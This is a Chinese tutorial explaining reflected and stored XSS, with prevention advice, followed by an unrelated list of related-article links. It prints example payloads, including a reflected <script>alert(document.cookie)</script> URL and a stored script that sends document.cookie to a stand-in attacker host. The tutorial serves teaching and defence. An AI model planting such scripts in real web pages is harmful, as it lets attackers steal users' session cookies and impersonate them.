目录

xss 跨站脚本攻击

原理:

反射型XSS

存储型XSS


xss 跨站脚本攻击

原理:

恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会
执行,因此会达到恶意攻击用户的目的。那么XSS攻击最主要有如下分类:反射型、存储型、
及 DOM-based型。 反射性和DOM-baseed型可以归类为非持久性XSS攻击。存储型可以归类为持久性XSS攻击。

反射型XSS

反射性XSS的原理是:反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个

包含恶意代码的URL。当受害者点击恶意链接url的时候,

恶意代码会直接在受害者的主机上的浏览器执行。

反射性XSS又可以叫做非持久性XSS 。

攻击者可以直接通过 URL (类似:[https://xx.com/xx?default=](https://link.jianshu.com/?t=https%3A%2F%2Fxx.com%2Fxx%3Fdefault%3D)<script>alert(document.cookie)</script>) 注入可执行的脚本代码。
及恶意链接

非持久型 XSS 漏洞攻击有以下几点特征:

(1)即时性,不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据;
(2)攻击者需要诱骗点击;
(3)反馈率低,所以较难发现和响应修复;
(4)盗取用户敏感保密信息。

为了防止出现非持久型 XSS 漏洞,需要确保这么几件事情:

  (1)Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。(2)尽量不要从 URL,document.referrer,document.forms等这种 DOM API 中获取数据直接渲染。(3)尽量不要使用 eval/new Function()/document.write()/document.writeln()/window.setInterval()/window.setTimeout()/innerHTML/document.creteElement() 等可执行字符串的方法(4)如果做不到以上几点,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。(5)前端渲染的时候对任何的字段都需要做 escape 转义编码。

存储型XSS

存储型XSS的原理是:主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

比如我现在做了一个博客网站,然后攻击者在上面发布了一篇文章,内容是如下:
<script>window.open("www.gongji.com?param="+document.cookie)</script>如果我没有对该文章进行任何处理的话,直接存入到数据库中,那么下一次当其他用户访问
该文章的时候,服务器会从数据库中读取后然后响应给客户端,那么浏览器就会执行这段脚本,
然后攻击者就会获取到用户的cookie,然后会把cookie发送到攻击者的服务器上了。

因此存储型XSS的攻击步骤如下:

1. 攻击者将恶意代码提交到目标网站数据库中。
2. 用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。
3. 用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
4. 那么恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。

如何防范?

(1)后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理。
(2)后端在输出给前端数据统一进行转义处理。
(3)前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。

参考博文: web安全之XSS攻击原理及防范 - 龙恩0707 - 博客园

xss(Cross Site Scripting)相关推荐

  1. XSS(Cross Site Scripting)攻击简介

    环境 Ubuntu 22.04 IntelliJ IDEA 2022.1.3 JDK 17.0.3.1 Spring Boot 3.0.1 Firefox 108.0.2 问题和分析 在Intelli ...

  2. CHECKMARX安全漏洞检测防止XSS(Cross Site Scripting)跨站脚本攻击

    CHECKMARX安全漏洞检测防止XSS跨站脚本攻击 总结CHECKMARX软件安全检测报告高危风险漏洞处理方式 高危警告内容 This can enable a Reflected Cross-Si ...

  3. Xss-reflected/stored跨站脚本分析(Cross site scripting)

    Xss-reflected/stored跨站脚本分析(Cross site scripting) 基础知识 针对Dom - dochtml Url概念:协议+网址/dns+端口+路径 XSS原理:对U ...

  4. DVWA V1.9:Reflected Cross Site Scripting(存储型XSS)

    DVWA V1.9:Reflected Cross Site Scripting(存储型XSS) 存储型 XSS 介绍 Low 级别 核心代码 官方提示 漏洞利用 Medium 级别 核心代码 官方提 ...

  5. Reflected Cross Site Scripting (XSS)

    前言 反射型XSS, 即 Reflected Cross Site Scripting (XSS),  攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的 页 ...

  6. 【常见Web应用安全问题】---1、Cross Site Scripting

    Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些.  常见Web应用安全问题安全性问题的列表: 1.跨站脚本攻击(CSS or XSS, Cross Si ...

  7. XSSF - Cross Site Scripting Framework

    2019独角兽企业重金招聘Python工程师标准>>> 跨站脚本框架 (XSSF) 是一个设计用来快速发现网站存在XSS漏洞的一个安全工具集. 该项目是为了验证网站存在的XSS漏洞及 ...

  8. Cross Site Scripting DOM攻击jQuery append() 的处理方法

    做安全红线使用Fortify工具进行扫描时,jquery append会报Cross Site Scripting DOM风险.解决该问题有两种办法. 一.原生dom方式 使用JavaScript原生 ...

  9. Python使用matplotlib可视化两个时间序列的交叉相关性图、交叉相关图显示了两个时间序列之间的滞后性(Cross Correlation plot)

    Python使用matplotlib可视化两个时间序列的交叉相关性图.交叉相关图显示了两个时间序列之间的滞后性(Cross Correlation plot) 目录

最新文章

  1. 集合、泛型、增强for
  2. 圣才电子书怎么提取pdf_总结10个免费网站,助你解决PDF所有问题!
  3. 高并发编程-自定义简易的线程池(1),体会原理
  4. CV之API:利用Face++的人体识别接口,实现摄像头实时手势识别
  5. PaddlePaddle文本卷积实现情感分类和微博女友情绪监控AI
  6. VS2019 更新MSDN并创建快捷方式
  7. sql数据导入错误代码: 0x80004005_SQL入门第八关 项目实战
  8. 关于c语言循环的格式,关于for循环的格式
  9. web系统服务器登录不上去,宝塔面板严重错误登录不上怎么办
  10. 将Linux可执行文件变成可执行命令
  11. Emmagee和GT
  12. jad158g class文件转java文件
  13. 雪花,是冬天凝固的泪
  14. 听说大数据工资很高,是不是很难学?
  15. 想抵御“黑客”和“黑产” 智能+安全能不能有高招?
  16. OSChina 周日乱弹 —— 我女朋友都放到购物车里都没钱买
  17. 云模型量子粒子群算法
  18. DSP中断使用简明教程
  19. 实用最优化方法课后习题-第三章
  20. 双色球全功能版分析预测软件介绍

热门文章

  1. html 中设置只读的textarea控件颜色
  2. zabbix监控windows磁盘读写速度
  3. 香农公式说明了什么_香农公式和奈奎斯特准则在通信中的意义是什么?
  4. 开放式社交网络(OSN网络)之五:宏观隐私保护与反大数据
  5. javascript取随机数_js随机数生成方法和实例,生成[n,m]的随机整数,获取1-10之间的随机数...
  6. 狼羊白菜过河matlab编程,matlab绘制农夫过河动态图
  7. 互联网VS央企,谈一谈我的选择
  8. java notifyall wait_为什么notifyAll无法唤醒wait()?
  9. 综合技术--sql injection violation, part alway true condition not allow
  10. 企业如何进行商业模式设计?